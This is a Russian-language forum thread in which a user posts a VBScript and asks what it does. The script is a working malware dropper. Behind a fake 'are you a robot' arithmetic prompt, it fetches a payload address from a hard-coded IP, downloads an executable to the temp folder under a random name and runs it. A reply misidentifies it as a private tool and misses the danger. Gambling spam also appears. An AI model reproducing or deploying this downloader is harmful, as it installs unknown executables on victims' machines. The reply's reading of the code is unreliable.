Программисты помогите!

1xbet купи билет онлайн 1xbet melbet

Eight

Premium
Сообщения
548
Реакции
229
Skype
xyligan2110
Что за код? И что он делает
PHP:
Dim rnd_2Max, rnd_2Min
rnd_2Min = 1
rnd_2Max = 10
Dim rnd_3Max, rnd_3Min
rnd_3Min = 1
rnd_3Max = 10
Dim memory11
Dim rnd_17Max, rnd_17Min
rnd_17Min = 895678
rnd_17Max = 67896789
Dim winhttp_10
Set winhttp_10 = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim winhttp_14
Set winhttp_14 = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim shell
Set shell = WScript.CreateObject("WScript.Shell")
Dim stream_21
Set stream_21 = CreateObject("ADODB.Stream")
Randomize
Randomize
rnd_2 = Int((rnd_2Max - rnd_2Min + 1) * Rnd + rnd_2Min)
rnd_3 = Int((rnd_3Max - rnd_3Min + 1) * Rnd + rnd_3Min)
res4 = (Eval(rnd_2) + Eval(rnd_3))
res5 = "Вы не робот? Сколько будет " & rnd_2 & " + " & rnd_3 & ""
input_6 = InputBox(res5, "Вопрос???", "0")
If Len(input_6) Then If InStr(1, res4, input_6, 1) = 1 Then winhttp_10.Open "GET", "http://193.124.119.133:98/ds", False winhttp_10.Send memory11 = winhttp_10.ResponseText winhttp_14.Open "GET", memory11, False winhttp_14.Send Randomize rnd_17 = Int((rnd_17Max - rnd_17Min + 1) * Rnd + rnd_17Min) res18 = "" & fso.GetSpecialFolder(2) & "\" & rnd_17 & ".exe" With stream_21 .Open .Type = 1 End With stream_21.Write winhttp_14.ResponseBody stream_21.SaveToFile res18, 2 If stream_21.State Then stream_21.Close If shell.Run(res18, 1, False) = 1 Then End If End If
End If
Set winhttp_10 = Nothing
Set winhttp_14 = Nothing
Set fso = Nothing
Set shell = Nothing
Set stream_21 = Nothing
Кто поможет отблагодарю
 
Сообщения
8
Реакции
2
Skype
dns.1983e
ну как я вижу идет проверка на то что вы не робот задается выражение на которое нужно дать правильный ответ , а потомк какомуто сайту подключается похоже на приватный автошот
 
kaspersky keys
Верх